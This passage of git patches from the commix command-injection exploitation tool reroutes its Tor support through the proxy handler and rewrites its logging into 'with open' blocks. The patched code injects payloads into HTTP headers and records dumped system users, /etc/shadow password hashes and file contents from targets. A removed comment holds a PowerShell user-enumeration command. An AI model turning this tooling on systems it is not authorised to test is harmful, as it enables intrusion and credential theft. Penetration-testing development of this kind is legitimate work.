tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 3156f34475..67703106f8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -22,7 +22,6 @@ from src.utils import logs from src.utils import settings from src.utils import session_handler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests @@ -334,11 +333,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 3cebcda98e..5f9b9ca4ec 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -22,7 +22,6 @@ import base64 from src.utils import menu from src.utils import settings -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests @@ -327,11 +326,8 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): request = _urllib.request.Request(output) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 0ca65b1046..2131b05d4b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -25,7 +25,6 @@ from src.utils import settings from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/main.py b/src/core/main.py index 970699fed0..19cf6355e7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -114,9 +114,6 @@ def examine_request(request, url): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy or menu.options.ignore_proxy: return proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - return tor.use_tor(request) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) @@ -205,9 +202,6 @@ def url_response(url): # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname - # Check if defined Tor (--tor option). - if menu.options.tor and settings.TOR_CHECK_AGAIN: - tor.do_check() if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests @@ -649,10 +643,6 @@ def main(filename, url): if menu.options.answers: settings.ANSWERS = menu.options.answers - if not menu.options.proxy: - if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: - menu.options.ignore_proxy = True - # Check if defined "--proxy" option. if menu.options.proxy: if menu.options.tor: @@ -677,6 +667,16 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + if not menu.options.proxy: + if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: + menu.options.ignore_proxy = True + # Check if defined Tor (--tor option). + elif menu.options.tor: + if menu.options.tor_port: + settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port + menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + tor.do_check() + if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." print(settings.print_critical_msg(err_msg)) @@ -757,14 +757,14 @@ def main(filename, url): settings.DELAY = menu.options.delay # Check if defined "--timesec" option. - if menu.options.timesec > 0: + if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec - else: - if menu.options.tor: - settings.TIMESEC = 10 - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + + if menu.options.tor: + settings.TIMESEC = settings.TIMESEC * 2 + warn_msg = "Increasing default value for option '--time-sec' to" + warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." + print(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index da27e20e44..7f2f4914b9 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -12,7 +12,6 @@ from src.utils import menu from src.utils import logs from src.utils import settings -from src.core.requests import tor from src.core.requests import proxy from src.thirdparty.colorama import Fore, Back, Style, init from src.core.shells import bind_tcp @@ -313,11 +312,8 @@ def shellshock_handler(url, http_request_method, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == "Cookie": @@ -562,11 +558,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == "User-Agent": diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 63b8e77ca6..8de8c6a9ec 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -20,7 +20,6 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.utils import common @@ -175,11 +174,8 @@ def http_auth_cracker(url, realm): headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - tor.use_tor(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # Store valid results to session admin_panel = url diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index e23ff14341..8e8a7e7c9f 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -33,6 +33,10 @@ def use_proxy(request): proxy = _urllib.request.ProxyHandler({}) opener = _urllib.request.build_opener(proxy) _urllib.request.install_opener(opener) + elif menu.options.tor: + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:menu.options.proxy}) + opener = _urllib.request.build_opener(proxy) + _urllib.request.install_opener(opener) else: request.set_proxy(menu.options.proxy, settings.SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 67c5515385..5c7c759b26 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -27,7 +27,6 @@ _http_client._MAXLINE = 1 * 1024 * 1024 from src.utils import common from src.utils import crawler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests @@ -52,10 +51,8 @@ def crawler_request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: @@ -278,7 +275,15 @@ def request_failed(err_msg): except IndexError: error_msg = str(err_msg) - if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + if "Tunnel connection failed" in str(error_msg) and menu.options.tor: + err_msg = "Can't establish connection with the Tor network. " + err_msg += "Please make sure that you have " + err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err_msg += "so you could be able to successfully use switch '--tor'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: @@ -292,9 +297,15 @@ def request_failed(err_msg): elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.tor: + err += " or Tor HTTP proxy." + elif menu.options.proxy or menu.options.ignore_proxy: err += " or proxy" err = err + " (Reason: " + str(error_msg) + "). " + if menu.options.tor: + err += "Please make sure that you have " + err += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err += "so you could be able to successfully use switch '--tor'." if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." error_msg = err @@ -393,16 +404,11 @@ def request_failed(err_msg): def get_request_response(request): headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: try: response = proxy.use_proxy(request) except Exception as err_msg: response = request_failed(err_msg) - elif menu.options.tor: - try: - response = tor.use_tor(request) - except Exception as err_msg: - response = request_failed(err_msg) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) @@ -437,11 +443,8 @@ def inject_cookie(url, vuln_parameter, payload): request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -484,11 +487,8 @@ def inject_user_agent(url, vuln_parameter, payload): request.add_header('User-Agent', payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -531,11 +531,8 @@ def inject_referer(url, vuln_parameter, payload): request.add_header('Referer', payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -586,11 +583,8 @@ def inject_host(url, vuln_parameter, payload): request.add_header('Host', payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -636,11 +630,8 @@ def inject_custom_header(url, vuln_parameter, payload): request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 2a485601ec..9c104c12dd 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -20,81 +20,40 @@ from src.utils import menu from src.utils import settings from src.utils import requirments +from src.core.requests import proxy from src.core.requests import requests from src.thirdparty.colorama import Fore, Back, Style, init -def tor_bandle_error(): - print(settings.SINGLE_WHITESPACE) - err_msg = "Can't establish connection with the Tor HTTP proxy. " - err_msg += "Please make sure that you have " - err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " - err_msg += "so you could be able to successfully use switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check if Tor HTTP proxy is defined. """ -def do_check(): - if menu.options.tor_port: - settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port - check_tor_http_proxy = True - info_msg = "Testing Tor HTTP proxy settings (" - info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT - info_msg += "). " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - opener = _urllib.request.build_opener(tor_http_proxy) - _urllib.request.install_opener(opener) - except: - check_tor_http_proxy = False - pass - - if check_tor_http_proxy: - try: - check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) - if not "You are not using Tor" in check_tor_page: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if menu.options.tor_check: - info_msg = "Connection with the Tor HTTP proxy is properly set. " - else: - info_msg = "" - found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) - info_msg += "Your ip address appears to be " + found_ip[0] + ".\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) - else: - tor_bandle_error() - - except _urllib.error.URLError as err_msg: - tor_bandle_error() - - except Exception as err_msg: - return requests.request_failed(err_msg) +def tor_connection_error(): + err_msg = "It appears that Tor is not properly set. Please " + if not menu.options.tor_port: + err_msg += "try again using option '--tor-port'." + else: + err_msg += "check again the provided option '--tor-port'." + print(settings.print_error_msg(err_msg)) + raise SystemExit() -""" -Use the TOR HTTP Proxy. -""" -def use_tor(request): +def do_check(): + info_msg = "Testing Tor HTTP proxy settings." + print(settings.print_info_msg(info_msg)) if menu.options.offline: err_msg = "You cannot use Tor network while offline." print(settings.print_critical_msg(err_msg)) raise SystemExit() - try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - opener = _urllib.request.build_opener(tor_http_proxy) - _urllib.request.install_opener(opener) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - + request = _urllib.request.Request(settings.CHECK_TOR_PAGE) + response = proxy.use_proxy(request) + page = response.read().decode(settings.DEFAULT_CODEC) except Exception as err_msg: - return requests.request_failed(err_msg) + page = None + if not page or "Congratulations" not in page: + tor_connection_error() + else: + info_msg = "Connection with the Tor HTTP proxy is properly set. " + print(settings.print_info_msg(info_msg)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index f93ae50575..cab9e7cb01 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -681,6 +681,7 @@ class OS(object): TOR_HTTP_PROXY_IP = "127.0.0.1" TOR_HTTP_PROXY_PORT = "8118" TOR_HTTP_PROXY_SCHEME = "https" +CHECK_TOR_PAGE = "https://check.torproject.org/" # Cookie injection COOKIE_INJECTION = None From 1d9ad2384b7b37696cba53c3248c36b886f9e093 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Dec 2023 09:51:13 +0200 Subject: [PATCH 0383/1023] Refactoring related to https://github.com/commixproject/commix/pull/882 --- doc/THANKS.md | 1 + src/core/injections/controller/checks.py | 142 +++++++++-------------- src/utils/logs.py | 72 ++++++------ src/utils/settings.py | 2 +- 4 files changed, 89 insertions(+), 128 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index b4da4e123a..061d357918 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code. * Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature. * Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. * Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 93bd7cc39c..7dc809a47d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1911,11 +1911,10 @@ def print_hostname(shell, filename, _): info_msg = "Hostname: " + str(shell) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) @@ -1930,11 +1929,10 @@ def print_current_user(cu_account, filename, _): info_msg = "Current user: " + str(cu_account) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) @@ -1954,12 +1952,10 @@ def print_current_user_privs(shell, filename, _): info_msg = "Current user has excessive privileges: " + str(priv) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) """ Print OS info """ @@ -1970,11 +1966,10 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) @@ -2041,41 +2036,20 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 for user in range(0, len(sys_users_list)): count = count + 1 - # if menu.options.privileges: - # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - # if alter_shell: - # cmd = escape_single_quoted_cmd(cmd) - # cmd = "cmd /c " + cmd - # from src.core.injections.results_based.techniques.classic import cb_injector - # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # check_privs = cb_injector.injection_results(response, TAG, cmd) - # check_privs = "".join(str(p) for p in check_privs).strip() - # check_privs = re.findall(r"(.*)", check_privs) - # check_privs = "".join(str(p) for p in check_privs).strip() - # check_privs = check_privs.split() - # if "Admin" in check_privs[0]: - # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" - # is_privileged_nh = " is admin user " - # else: - # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" - # is_privileged_nh = " is regular user " - # else : is_privileged = is_privileged = "" print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." @@ -2104,10 +2078,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(" " + sys_users) else: sys_users_list = [] for user in range(0, len(sys_users), 3): @@ -2120,10 +2093,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] @@ -2160,12 +2132,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged_nh = "" print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " @@ -2173,10 +2144,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(" " + sys_users) else: # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" @@ -2206,10 +2176,9 @@ def print_passes(sys_passes, filename, _, alter_shell): info_msg += " password hashes [" + str(len(sys_passes)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) count = 0 for line in sys_passes: count = count + 1 @@ -2219,12 +2188,11 @@ def print_passes(sys_passes, filename, _, alter_shell): if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : @@ -2232,10 +2200,9 @@ def print_passes(sys_passes, filename, _, alter_shell): warn_msg += "in the appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(" " + fields[0]) else: warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." @@ -2375,12 +2342,11 @@ def file_read_status(shell, file_to_read, filename): if shell: _ = "Fetched file content" print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = "Extracted content of the file '" + info_msg += file_to_read + "' : " + shell + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + file_to_read + "'." diff --git a/src/utils/logs.py b/src/utils/logs.py index 3af49b76ad..b8f27c180e 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -104,15 +104,14 @@ def create_log_file(url, output_dir): # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE try: - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ - str(date.today()) + \ - " at " + datetime.now().strftime("%H:%M:%S") + " |") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write("\n" + "=" * 37) + output_file.write("\n" + "| Started in " + \ + str(date.today()) + \ + " at " + datetime.now().strftime("%H:%M:%S") + " |") + output_file.write("\n" + "=" * 37) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." @@ -120,7 +119,6 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() - return filename """ @@ -130,41 +128,38 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech if export_injection_info == False: settings.SHOW_LOGS_MSG = True - output_file = open(filename, "a") - if not menu.options.no_logging: - 